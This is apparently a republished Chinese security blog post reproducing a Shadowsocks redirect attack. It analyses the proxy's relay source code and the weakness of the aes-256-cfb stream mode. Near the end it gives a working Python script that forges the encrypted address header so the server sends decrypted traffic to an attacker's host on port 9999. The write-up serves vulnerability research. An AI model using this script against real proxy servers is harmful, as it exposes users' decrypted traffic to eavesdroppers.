Shadowsocks 流量解密重定向攻击研究

admin 2023年2月15日00:11:36评论40 views字数 27040阅读90分8秒阅读模式

最近复现了一个比较老的洞,因为涉及到密码学相关的攻击,刚好前段时间也在学习通讯协议相关的知识,于是就比较感兴趣。

先总体概括一下,漏洞成因是因为 Shadowsocks 的作者默认使用了一个不合适的密码组件(使用者是可以自己再重新指定的),导致中间人可以利用 Shadowsocks 的服务端将解密后的流量随意重定向(这样中间人就能看到解密后的流量了)。不过涉及中间人对流量的劫持、篡改、重放,因此在实践操作中利用起来还是比较困难的。

复现参考的文章是https://blog.soreatu.com/posts/analyasis-of-shadowsocks-and-related-attack/#redirect-attack,祥哥这篇文章已经是记录的较为详实了,但是在复现过程中自己也是遇到了一些问题,于是在此记录。


01
转发流程

不论是什么代理工具,总的流程都是一致的。
在整个框架中,有这么几个角色,分别是用户、目标网站、代理服务器、代理软件。
然后是这么个场景,用户想访问目标网站,但是由于某些限制用户不能直接访问目标网站,不过用户可以访问代理服务器,而代理服务器可以访问目标网站,于是用户则借用代理软件通过代理服务器来访问目标网站的资源。
那么用户具体是如何通过代理软件访问到目标网站上的资源呢?首先用户在本地使用代理软件的客户端,在代理服务器上安装使用代理软件的服务端。当用户像请求目标网站时,会设置代理,那么流量就会先经过客户端,客户端里再将流量转发到服务端上,服务端接收到流量后再将流量转发到目标网站上。目标网站收到请求后给出回应到服务端,服务端再将流量转发到客户端,客户端再将流量转发给用户。
那么存在几个问题,服务端是如何知道用户想要访问的目标网站?客户端传输到服务端的流量是明文传输么?客户端是怎么知道服务端在哪儿的?
那么针对 Shadowsocks,笔者暂时可以给出这样的回答,客户端在对用户的流量包进行封装的时候,会在最前方加入用户的想访问的目标网站的信息,并且,客户端到服务端的流量都是加密的,而相应的配置用户需要提前在客户端和服务端进行配置,包括服务端所在的ip,端口,服务端和客户端加密使用的密钥,加密使用的密码体制。
因此我们可以大致画出这样的一个流程图

     data        encrypt(info of target | data) --> cipher
user    -------------------->    client
         |
                        |
                    (encrypted)
                        |
                        V    
target  <--------------------     server
     data  decrypt(cipher) --> info of target | data
由于客户端肯定是在用户本地,并且请求和返回肯定是在一次连接内,服务端并不需要对消息进行额外的封装(服务端也不知道用户的地址信息),只进行加密

     data        decrypt(cipher) --> data
user    <--------------------    client
         ^
                        |
                    (encrypted)
                        |
                        |    
target  -------------------->    server
     data  encrypt(data) --> cipher
那么作为中间人,正常来说我们是没法知道用户的请求内容和网站的返回内容,因为我们并不知道代理软件所用的加密密钥,也就没法解密流量。
但是,我们是否有机会在不解密密文的情况下控制明文呢?废话少说,先抓个包看看具体结构再说。

02
环境搭建

抓包之前当然是要搭建环境了,本次我们分析的是python版本,所以先下载源码 https://github.com/shadowsocks/shadowsocks/tree/master
然后为了方便,使用下列配置在本地同时开启了客户端和服务端。
{
    "server":"127.0.0.1",
    "server_port":8388,
    "local_port":1081,
    "password":"aes_password",
    "timeout":60,
    "method":"aes-256-cfb",
    "local_address":"127.0.0.1",
    "fast_open":false
}
然后在自己的vps上的8000端口开启了web服务作为目标网站
clinet: 127.0.0.1 1081
server: 127.0.0.1 8388
target: x.x.x.x   8000

Shadowsocks 流量解密重定向攻击研究


03
抓包分析

尝试使用代理访问vps上的flag文件
import requests


url = "http://49.235.117.239:8000/flag.txt"
proxies = {
    'http':  "socks5://127.0.0.1:1081",
    'https'"socks5://127.0.0.1:1081"
}
resp = requests.get(url, proxies=proxies)
print(resp.content) 
wireshak开启抓包,过滤规则为:tcp.flags.push == 1 && (tcp.port == 1081 || tcp.port == 8388)
Shadowsocks 流量解密重定向攻击研究
运行脚本得到
Shadowsocks 流量解密重定向攻击研究
捕获流量如下
Shadowsocks 流量解密重定向攻击研究
根据info我们大致可以判断,
  • 用户(脚本)起了一个1872端口,16578-16584这四个包应该是脚本在和客户端(1081端口)进行socket握手,
  • 随后用户向客户端发起了 GET 请求。随后客户端起了一个端口 1873 向服务端(8388端口)发送了流量,根据长度可以看到是多了23个字节,应该是封装+加密,
  • 随后(这一部分由于监听网卡的原因在这里没有捕获到)服务端会解密然后向目标网站发送请求,目标网站回复后,服务端进行加密,
  • (16597包)服务端向客户端发送加密流量
  • 最后客户端进行解密再向用户发送明文,可以看到解密后长度少了16字节(熟悉分组密码的话大概可以猜到会是少了16字节的iv向量)

04
源码分析

客户端

在了解到这样一个大致流程之后,我们根据每一个步骤,找到相应的源码,尝试进行更细节的分析。
首先是和客户端的socket的握手,总共有两次请求和两次应答,分别是
  1. 客户端第一次请求,格式为 版本号+方法占用字节+方法,这里我们是 05 01 00
  2. 服务端第一次回复,格式为 版本号+方法,这里我们是 05 00 ,00 说明 服务端连接无需经过验证
  3. 客户端第二次请求,格式为 版本号+CMD+保留字段 RSV+目标地址类型 ATYP+ 目标地址 DST.ADDR + 目标端口 DST.PORT,这里我们是
    05 01 00 01 31 eb 75 ef 1f 40,
    版本号是5,01是建立连接,00默认,01说明是IPV4地址类型,0x31,0xeb,0x75,0xef 是 ip 各个端的十六进制,0x1f40 说明是8000端口
  4. 服务端第二次回复,格式为 版本号+回复字段 REP+保留字段 PSV+目标地址类型 ATYP+ 服务器绑定地址 BND.ADDR + 服务器绑定端口 BND.PORT,这里我们是 05 00 00 01 00 00 00 00 10 10
    版本号是5,00 表示连接成功,默认保留字段00 ,01 说明是IPV4地址,00 00 00 00 说明绑定地址是0.0.0.0,0x1010 绑定的端口是4112(为啥是这个嘞)
那么定位相应源码,首先是local.py:main,会将 tcp_server 加入 loop,随后loop.run
def main():
 ...
    dns_resolver = asyncdns.DNSResolver()
    tcp_server = tcprelay.TCPRelay(config, dns_resolver, True)
    udp_server = udprelay.UDPRelay(config, dns_resolver, True)
    loop = eventloop.EventLoop()
    dns_resolver.add_to_loop(loop)
    tcp_server.add_to_loop(loop)
    udp_server.add_to_loop(loop)
    ...
    loop.run
定位到eventloop.py:run,会循环获取pool中的事件,获取句柄调用其handle_event方法,
    def run(self):
        events = []
        while not self._stopping:
            asap = False
            try:
                events = self.poll(TIMEOUT_PRECISION)
            except (OSError, IOError) as e:
    ...

            for sock, fd, event in events:
                handler = self._fdmap.get(fd, None)
                if handler is not None:
                    handler = handler[1]
                    try:
                        handler.handle_event(sock, fd, event)
                    except (OSError, IOError) as e:
                        shell.print_exception(e)
这里由于我们发起了tcp连接,所以我们定位tcprelay.py
看到TCPRelay的初始化方法
class TCPRelay(object):
    def __init__(self, config, dns_resolver, is_local, stat_callback=None):
  ...

        if is_local:
            listen_addr = config['local_address']
            listen_port = config['local_port']
        else:
            listen_addr = config['server']
            listen_port = config['server_port']
        self._listen_port = listen_port

        addrs = socket.getaddrinfo(listen_addr, listen_port, 0,
                                   socket.SOCK_STREAM, socket.SOL_TCP)
        if len(addrs) == 0:
            raise Exception("can't get addrinfo for %s:%d" %
                            (listen_addr, listen_port))
        af, socktype, proto, canonname, sa = addrs[0]
        server_socket = socket.socket(af, socktype, proto)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server_socket.bind(sa)
        server_socket.setblocking(False)
        if config['fast_open']:
            try:
                server_socket.setsockopt(socket.SOL_TCP, 235)
            except socket.error:
                logging.error('warning: fast open is not available')
                self._config['fast_open'] = False
        server_socket.listen(1024)
        self._server_socket = server_socket
        self._stat_callback = stat_callback
会起一个 server_socket 开启监听(等待用户连接)
当用户连接后,就是我们前面说的,会触发其event_handle方法
    def handle_event(self, sock, fd, event):
        # handle events and dispatch to handlers
        if sock:
            logging.log(shell.VERBOSE_LEVEL, 'fd %d %s', fd,
                        eventloop.EVENT_NAMES.get(event, event))
        if sock == self._server_socket:
            if event & eventloop.POLL_ERR:
                # TODO
                raise Exception('server_socket error')
            try:
                logging.debug('accept')
                conn = self._server_socket.accept()
                TCPRelayHandler(self, self._fd_to_handlers,
                                self._eventloop, conn[0], self._config,
                                self._dns_resolver, self._is_local)
            except (OSError, IOError) as e:
                error_no = eventloop.errno_from_exception(e)
                if error_no in (errno.EAGAIN, errno.EINPROGRESS,
                                errno.EWOULDBLOCK):
                    return
                else:
                    shell.print_exception(e)
                    if self._config['verbose']:
                        traceback.print_exc()
此时 sock 是 self._server_socket,一切正常的情况下,就会初始化一个 TCPRelayHandler() 对象,跟过去看他的init方法
几个重要的点,_stage 初始化为 STAGE_INIT,客户端与用户的连接(local_sock)加入了循环,并且将自身与local_sock绑定
self._stage = STAGE_INIT
...
fd_to_handlers[local_sock.fileno()] = self
...
loop.add(local_sock, eventloop.POLL_IN | eventloop.POLL_ERR,self._server)
然后就又回到loop.run,这一次调用的handler就是local_sock绑定的这个handler(也就是TCPRelayHandler)的handler_event
    def handle_event(self, sock, event):

        # handle all events in this handler and dispatch them to methods
        if self._stage == STAGE_DESTROYED:
            logging.debug('ignore handle_event: destroyed')
            return
        # order is important
        if sock == self._remote_sock:
        ...

        elif sock == self._local_sock:

            if event & eventloop.POLL_ERR:
                self._on_local_error()
                if self._stage == STAGE_DESTROYED:
                    return
            if event & (eventloop.POLL_IN | eventloop.POLL_HUP):
                logging.info("read from local")
                self._on_local_read()

                if self._stage == STAGE_DESTROYED:
                    return
            if event & eventloop.POLL_OUT:
                logging.info("wrting to local")
                self._on_local_write()
        else:
            logging.warn('unknown socket')
此时,会进入到 self._local_sock 分支,从用户那里读取第一次的握手消息,由于我们的 self._stage = STAGE_INIT
    def _on_local_read(self):
        try:
            data = self._local_sock.recv(BUF_SIZE)
  ...
        elif is_local and self._stage == STAGE_INIT:
            # TODO check auth method
            self._write_to_sock(b'x050', self._local_sock)
            self._stage = STAGE_ADDR
            return
        ...
显然,这里处理的就是用户第一次请求和客户端第一次应答,然后 self._stage = STAGE_ADDR
那么再一次获取到用户的请求后,则执行
elif (is_local and self._stage == STAGE_ADDR) or 
                (not is_local and self._stage == STAGE_INIT):
            self._handle_stage_addr(data)
由于这里要根据各种指令以不同方式进行解析,所以重新封装了一个方法,这里我们的CMD是00,也就是请求连接
    ...
    elif cmd == CMD_CONNECT:
                    # just trim VER CMD RSV
                    data = data[3:]
                else:
                    logging.error('unknown command %d', cmd)
                    self.destroy()
                    return
            header_result = parse_header(data)
            if header_result is None:
                raise Exception('can not parse header')
            addrtype, remote_addr, remote_port, header_length = header_result
parse_header是解析地址的方法,具体具体地址类型(ipv4,ipv6,域名)来进行读取
def parse_header(data):
    addrtype = ord(data[0])
    dest_addr = None
    dest_port = None
    header_length = 0
    if addrtype == ADDRTYPE_IPV4:
        if len(data) >= 7:
            dest_addr = socket.inet_ntoa(data[1:5])
            dest_port = struct.unpack('>H', data[5:7])[0]
            header_length = 7
        else:
            logging.warn('header is too short')
    elif addrtype == ADDRTYPE_HOST:
        if len(data) > 2:
            addrlen = ord(data[1])
            if len(data) >= 2 + addrlen:
                dest_addr = data[2:2 + addrlen]
                dest_port = struct.unpack('>H', data[2 + addrlen:4 +
                                                     addrlen])[0]
                header_length = 4 + addrlen
            else:
                logging.warn('header is too short')
        else:
            logging.warn('header is too short')
    elif addrtype == ADDRTYPE_IPV6:
        if len(data) >= 19:
            dest_addr = socket.inet_ntop(socket.AF_INET6, data[1:17])
            dest_port = struct.unpack('>H', data[17:19])[0]
            header_length = 19
        else:
            logging.warn('header is too short')
    else:
        logging.warn('unsupported addrtype %d, maybe wrong password or '
                     'encryption method' % addrtype)
    if dest_addr is None:
        return None
    return addrtype, to_bytes(dest_addr), dest_port, header_length
之后进入 is_local分支
 if self._is_local:
                # forward address to remote
                self._write_to_sock((b'x05x00x00x01'
                                     b'x00x00x00x00x10x10'),
                                    self._local_sock)
                data_to_send = self._encryptor.encrypt(data)
                self._data_to_write_to_remote.append(data_to_send)
                # notice here may go into _handle_dns_resolved directly
                self._dns_resolver.resolve(self._chosen_server[0],
                                           self._handle_dns_resolved)
于是就知道为什么根据数据包里捕获到客户端的回复中,绑定的ip和端口是0.0.0.0:4112了,原来这里直接写死了,并没有根据实际情况进行返回。(这里也许可以改进一下)
(这里之所以要把地址信息(也就是data)加密后放进 self._data_to_write_to_remote.append(data_to_send),其实就已经在开始封装接下来要发送的消息了)
然后应该要和服务端进行连接了,看到_dns_resolver.resolve
    def resolve(self, hostname, callback):

        if type(hostname) != bytes:
            hostname = hostname.encode('utf8')
        if not hostname:
            callback(None, Exception('empty hostname'))
        elif common.is_ip(hostname):
            # logging.info(hostname)
            callback((hostname, hostname), None)
...
这里我们的hostname是ip,所以执行回调函数,也就是 _handle_dns_resolved,比较核心的就是
remote_sock.connect((remote_addr, remote_port))
...

self._loop.add(remote_sock,eventloop.POLL_ERR | eventloop.POLL_OUT,self._server)
self._stage = STAGE_CONNECTING
...
那么loop里有一个新的连接了。正常来说下一步应该是接受用户的数据,然后加密,然后发送给服务端了。此时TCPRelayHandler会再次进入 self._on_local_read(),
elif self._stage == STAGE_CONNECTING:
    self._handle_stage_connecting(data)
接收到信息后 根据 _stage 进入 _handle_stage_connecting
    def _handle_stage_connecting(self, data):
        if self._is_local:
            data = self._encryptor.encrypt(data)
        self._data_to_write_to_remote.append(data)
        if self._is_local and not self._fastopen_connected and 
                self._config['fast_open']:
那么由于这里还是满足 _is_local(表示这是客户端),所以信息会先加密,但由于config并没有配置 fast_open,所以直接返回了,根据调试发现,随后loop里有了一个新的event,值是4,也就是表示eventloop.POLL_OUT,于是进入方法 _on_remote_write()
def _on_remote_write(self):
    # handle remote writable event
    self._stage = STAGE_STREAM
    if self._data_to_write_to_remote:
        data = b''.join(self._data_to_write_to_remote)
        self._data_to_write_to_remote = []
        self._write_to_sock(data, self._remote_sock)
改变了 self._stage = STAGE_STREAM,然后将 _data_to_write_to_remote 数组里面的值全部发送给了服务端
此时,_data_to_write_to_remote 里的值为 encrypt(ATYPE+IP+PORT+DATA)
我们简单看一下加密方法,首先会载入配置文件设定的密码和加密方法,
self._encryptor = encrypt.Encryptor(config['password'],
                                            config['method'])

# encrypt.py 

def encrypt(self, buf):
        if len(buf) == 0:
            return buf
        if self.iv_sent:
            return self.cipher.update(buf)
        else:
            self.iv_sent = True
            return self.cipher_iv + self.cipher.update(buf)
那么这里就是将消息按照指定的方法进行加密,然后拼接上iv,将数据返回。于是最终用户向客户端发送的数据,在客户端发送给服务端时则封装为
iv+encrypt(atype|ip|port|data)
其中,由于我们选择的是默认的aes-256-cfb方法,加密后不会填充,于是封装后的消息长度等于 16+7 + len(data),这就与我们之前抓到的数据包的长度变化吻合了。
然后就是服务端的接收、向目标网站发送请求、对客户端进行回复,
收到服务端的消息后我们进入分支
if sock == self._remote_sock:
        ...
        if event & (eventloop.POLL_IN | eventloop.POLL_HUP):
            logging.info("read from remote")
            self._on_remote_read()
            
def _on_remote_read(self):
    data = self._remote_sock.recv(BUF_SIZE)
 ...
    if self._is_local:
        data = self._encryptor.decrypt(data)
    try:
        self._write_to_sock(data, self._local_sock)
那么客户端会先将消息解密,随后发送给用户。
至此,我们对客户端这里的处理逻辑分析清楚了。
  1. 首先用户向客户端发起第一次socket握手
  2. 客户端进行第一次回复
  3. 用户向客户端发送目的地址的相关信息
  4. 客户端保存相关信息并加密,放入待发送消息队列;和服务端建立连接;然后对用户进行第二次回复
  5. 用户向客户端发送对目的地址的相关请求
  6. 客户端对消息进行加密,放入待发送消息队列,然后将整个消息队列发送给服务端
下面是笔者在审计代码时加入的一些额外的注释,可以更方便的看清整个流程
INFO: loading config from config.json
2023-01-12 17:03:02 WARNING  warning: server set to listen on 127.0.0.1:8388, are you sure?
2023-01-12 17:03:02 WARNING  warning: your timeout 60 seems too short
2023-01-12 17:03:02 INFO     loading libcrypto from C:WindowsSystem32libcrypto.dll
2023-01-12 17:03:02 INFO     starting local at 127.0.0.1:1081
2023-01-12 17:03:02 DEBUG    server_socket <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>
2023-01-12 17:03:02 DEBUG    using event model: select
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>,fd: 536, event: 1
2023-01-12 17:03:04 DEBUG    accept
2023-01-12 17:03:04 DEBUG    chosen server: 127.0.0.1:8388
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'x05x01x00'
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'x05x00'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'x05x01x00x011xebuxefx1f@'
2023-01-12 17:03:04 INFO     connecting 49.235.117.239:8000 from 127.0.0.1:64393
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'x05x00x00x01x00x00x00x00x10x10'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'GET /flag.txt HTTP/1.1rnHost: 49.235.117.239:8000rnUser-Agent: python-requests/2.26.0rnAccept-Encoding: gzip, deflaternAccept: */*rnConnection: keep-alivernrn'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 4
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    writing to remote
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)> b'xb1x98xfex97xcdvx1dxec-xcbxe4xc7Px86xdfx15~xaaxf7x9ccx19xd2Rxb3!xafxd3x86qxf1L`x1cx81;dxa5%x19xd9xa4xe7xb0x04Mx9dxbcxc7xf8xcchHx8cxcexecxf2xb8H7xaaxcdYxa6xccqx99xacx1f9hxddx08Oxadrxf3xedHx94xf7x1fx94xa1x04xfcxda!9x1fxdex88xb0s%xcaxdbxc93xacx92Nx12 #xbawx89Wtx1d[xf8x88O{x99Mgxe5xe8Mx88x82!xaexffxb3pxe8_x01x7fx91U=tJx937xb2x9dx02Dx0fx03Yxb5 xa5M7xc6Jkmf|xf3\x16Hxd0{xf9x91xfa9xcdx87xb3x98xafXx0fxefcyxdbx12xbe'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    read from remote
2023-01-12 17:03:04 DEBUG    debug read from remote
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'HTTP/1.0 200 OKrnServer: SimpleHTTP/0.6 Python/3.6.8rnDate: Thu, 12 Jan 2023 09:03:04 GMTrnContent-type: text/plainrnContent-Length: 18rnLast-Modified: Wed, 04 Jan 2023 08:53:15 GMTrnrnflag{you_got_it!}n'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    read from remote
2023-01-12 17:03:04 DEBUG    debug read from remote
2023-01-12 17:03:04 DEBUG    destroy: 49.235.117.239:8000
2023-01-12 17:03:04 DEBUG    destroying remote
2023-01-12 17:03:04 DEBUG    destroying local

服务端

接下来我们分析服务端的处理逻辑,服务端做的事情可以划分为:
  1. 接受客户端的消息并解密
  2. 前七个字节是目标网站的信息,于是服务端向目标网站发起连接,然后向目标网站发送解密后七个字节之后的消息
  3. 接受目标网站的回复
  4. 将回复加密后发送给客户端
在代码层面和客户端其实没有很大差别,主要调用的也是TCPrelay这一块的代码,区别就是在于标志符 is_local,主要区别我们注意到 _on_local_read 这个函数
    def _on_local_read(self):
        # handle all local read events and dispatch them to methods for
        # each stage
        if not self._local_sock:
            return
        is_local = self._is_local
        data = None
        try:
            data = self._local_sock.recv(BUF_SIZE)
        except (OSError, IOError) as e:
            if eventloop.errno_from_exception(e) in 
                    (errno.ETIMEDOUT, errno.EAGAIN, errno.EWOULDBLOCK):
                return
        if not data:
            self.destroy()
            return
        logging.debug("read local data: %s" % data)
        self._update_activity(len(data))
        if not is_local:
            data = self._encryptor.decrypt(data)
            if not data:
                return
        if self._stage == STAGE_STREAM:
            if self._is_local:
                data = self._encryptor.encrypt(data)
            self._write_to_sock(data, self._remote_sock)
            return
        elif is_local and self._stage == STAGE_INIT:
            # TODO check auth method
            self._write_to_sock(b'x050', self._local_sock)
            self._stage = STAGE_ADDR
            return
        elif self._stage == STAGE_CONNECTING:
            self._handle_stage_connecting(data)
        elif (is_local and self._stage == STAGE_ADDR) or 
                (not is_local and self._stage == STAGE_INIT):
            self._handle_stage_addr(data)
我们知道,服务端第一次收到客户端消息的时候,消息内容是 iv+encrypt(atype|ip|port|data),于是,第一步肯定是对其进行解密
if not is_local:
        data = self._encryptor.decrypt(data)
解密后得到 atype|ip|port|data,此时 self._stage == STAGE_INIT(因为是第一次接收到消息),因此进入 self._handle_stage_addr(data) 函数
   def _handle_stage_addr(self, data):
        try:
            if self._is_local:
                ...
                elif cmd == CMD_CONNECT:
                    # just trim VER CMD RSV
                    data = data[3:]
                else:
                    logging.error('unknown command %d', cmd)
                    self.destroy()
                    return
            header_result = parse_header(data)
            if header_result is None:
                raise Exception('can not parse header')
            addrtype, remote_addr, remote_port, header_length = header_result
            logging.info('connecting %s:%d from %s:%d' %
                         (common.to_str(remote_addr), remote_port,
                          self._client_address[0], self._client_address[1]))

            self._remote_address = (common.to_str(remote_addr), remote_port)
            self._update_stream(STREAM_UP, WAIT_STATUS_WRITING)
            self._stage = STAGE_DNS
            if self._is_local:
                ...
            else:
                if len(data) > header_length:
                    self._data_to_write_to_remote.append(data[header_length:])
                # notice here may go into _handle_dns_resolved directly
                self._dns_resolver.resolve(remote_addr,
                                           self._handle_dns_resolved)
        except Exception as e:
            self._log_error(e)
            if self._config['verbose']:
                traceback.print_exc()
            self.destroy()
由于此时是服务端,因此直接进入 parse_header 函数进行解析,得到 addrtype, remote_addr, remote_port, header_length,那么根据前面的经验,接下来就是服务端与目标网站建立连接,随后将用户的消息(data)发送给目标网站,再接收回复,再加密,再发送给客户端。
def _on_remote_read(self):
        # handle all remote read events
        data = None
        try:
            data = self._remote_sock.recv(BUF_SIZE)

        except (OSError, IOError) as e:
            ...
        if self._is_local:
            data = self._encryptor.decrypt(data)
        else:
            data = self._encryptor.encrypt(data)
        try:
            self._write_to_sock(data, self._local_sock)
        ...
于是我们就从代码层面完成了对整个代理流程的分析,那么,问题出现在哪儿呢?

04
漏洞成因

我们注意到,客户端会将消息解密并发送给用户,而服务端会将消息解密发送给指定的地址,而这个指定的地址则是解密后通过parse_header 解析得到。那么如果我们能够在无法解密的情况下对这个地址进行操控,我们是否就能让服务端将解密后的信息发送到任意我们指定的地址,我们也就能够获得解密后的信息了。
那么如何 在无法解密的情况下对这个地址进行操控 呢?注意到我们选择的默认加密模式为 aes-256-cfb
Shadowsocks 流量解密重定向攻击研究
可以看到是类似于流密码,而我们知道,由于异或运算的特性,流密码是无法抵抗已知明文攻击的,那么我们知道哪些明文呢?
显然,服务端最终发送给客户端的加密消息格式为 IV + encrypt(data) 其中,IV是16个字节,剩下的data,由于HTTP响应包的格式基本上就是HTTP/1.1 200 OKrnHost,因此,我们是能够得到图中的  的,也就是 IV 经过 AES 加密后的值。我们设明文为 ,密文为 ,想要将数据篡改为 ,于是
由 ,其中  均已知,因此
所以我们只需要将密文  篡改为  即可
由于控制地址部分是七个字节(Atype +ip +port )于是,我们设待破解密文为 **IV + encrypt(“HTTP/1.” )+ encrypt(data)**,
那么我们重新构造密文为 
然后将该数据发送给服务端,服务端收到解密后,将得到消息
前面七个字节是我们控制的地址,然后是9个字节填充解密后的乱码,然后是16个字节IV解密后的乱码,剩下来就是对数据的正常解密。
然后服务端就会与我们控制的地址建立连接,将后续包括解密填充的乱码、解密IV的乱码、解密后的正常数据全部发送过去。那么至此我们就完成了解密数据的重定向,换句话说,我们在没有解密密钥的情况下,获得了数据明文。

05
漏洞演示

我们抓下服务端最后发送给客户端的加密消息
Shadowsocks 流量解密重定向攻击研究
然后在我自己的服务器上开了一个9999端口进行监听
运行 python 脚本,
from Crypto.Util.number import *
import socket
import time

def xor(a, b):
    return bytes(x^y for x,y in zip(a,b))

def ip2hex(ip):
 ip = ip.split(".")
 res = b"".join(long_to_bytes(int(i)) for i in ip)
 return res

data = bytes.fromhex("bf988dd6c949f977528ec6449edcc615f0f472be1745a3bb603f60a9e089caa16af7faa5bfcede63be4fe1ef069185da0a251ef80f62ad74ae3103736305f195a40e1487888ba7e9480e6ba66b6b91f91467da5161bf4a5783bb85034f8e4c6ec269b1c4e827551cf40903b3ec4e7e051f0a68a36b3b27994a758cd49ce013853ede7fd240d4928ed02ef8d6b1bf043396eabd7d9e08d44aa687fcd6c967d68b16c96d40e461b0992314ac043d924bd58c011c55300ddd28d8e6d9c4c4eea410404f9e2b65783f5b1bd29b9afff8147eac1eddcc93288fbdfb827f")

x1 = b"HTTP/1."
x2 = b"x01" + ip2hex("xx.xx.xx.xx") + long_to_bytes(9999,2)

new_data  = data[:16] + xor(xor(x1, x2), data[16:16+7]) + b"x00"*(9) + data

sh = socket.socket()
sh.connect(("127.0.0.1"8388))
sh.send(new_data)
time.sleep(20)
在服务器9999端口成功收到解密后的消息(可以看到在正常消息前会有一小段乱码)
Shadowsocks 流量解密重定向攻击研究


06
踩坑记录

在复现的时候踩到一个坑,由于我们是使用python脚本和服务端进行直接通信的,我们在运行完最后一行send后,不能立刻结束脚本,否则脚本和服务端的连接就会断开,而一旦脚本和服务端的连接断开了,服务端也会立刻终止与目标网站的通信(在向目标网站发送解密消息之前)。
    def destroy(self):
        # destroy the handler and release any resources
        # promises:
        # 1. destroy won't make another destroy() call inside
        # 2. destroy releases resources so it prevents future call to destroy
        # 3. destroy won't raise any exceptions
        # if any of the promises are broken, it indicates a bug has been
        # introduced! mostly likely memory leaks, etc
        if self._stage == STAGE_DESTROYED:
            # this couldn't happen
            logging.debug('already destroyed')
            return
        self._stage = STAGE_DESTROYED
        if self._remote_address:
            logging.debug('destroy: %s:%d' %
                          self._remote_address)
        else:
            logging.debug('destroy')
        if self._remote_sock:
            logging.debug('destroying remote')
            self._loop.remove(self._remote_sock)
            del self._fd_to_handlers[self._remote_sock.fileno()]
            self._remote_sock.close()
            self._remote_sock = None
        if self._local_sock:
            logging.debug('destroying local')
            self._loop.remove(self._local_sock)
            del self._fd_to_handlers[self._local_sock.fileno()]
            self._local_sock.close()
            self._local_sock = None
        self._dns_resolver.remove_callback(self._handle_dns_resolved)
        self._server.remove_handler(self)
因此我们需要让脚本再阻塞一会,等待消息被解密发送完成后再结束脚本,也就是脚本最后一行 time.sleep()的用意。
———————————————End———————————————

原文始发于微信公众号(山石网科安全技术研究院):Shadowsocks 流量解密重定向攻击研究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月15日00:11:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
